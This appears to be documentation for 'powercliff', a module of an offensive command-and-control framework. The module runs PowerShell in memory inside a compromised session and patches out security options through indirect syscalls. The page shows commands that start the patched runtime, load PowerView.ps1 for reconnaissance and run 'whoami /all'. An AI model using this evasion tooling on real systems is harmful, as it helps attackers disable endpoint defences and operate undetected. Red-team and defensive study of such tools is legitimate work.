powercliff
General
Section titled “General”powercliff allows you to run powershell in-memory with some disabled security options by indirect syscall patching.
[Session 11: haroun@DESKTOP-DU89UIV] » powercliff --help
Powercliff, inline powershell with superdeye managed patched
Usage: powercliff [flags]
Flags: -h, --help display help
Sub Commands: exec Exec a powershell cmd load Load ps1 script to powershell start-powercliff Load CLR, instantiate powershell and patch some stuffIt requires you to load the powercliff dll with load-module powercliff
start-powercliff
Section titled “start-powercliff”start-powercliff will load the CLR, start a powershell via System.Management.Automation.dll and patch some security options.
[Session 11: haroun@DESKTOP-DU89UIV] » powercliff start-powercliffYou can load a ps1 script from orsted-server
[Session 11: haroun@DESKTOP-DU89UIV] » powercliff load PowerView.ps1The Path to look for ps1 is defined in ./data/clientconf.toml
...Ps1ScriptPath = "./tools/windows/ps1/"...You can execute powershell command
[Session 11: haroun@DESKTOP-DU89UIV] » powercliff exec whoami /all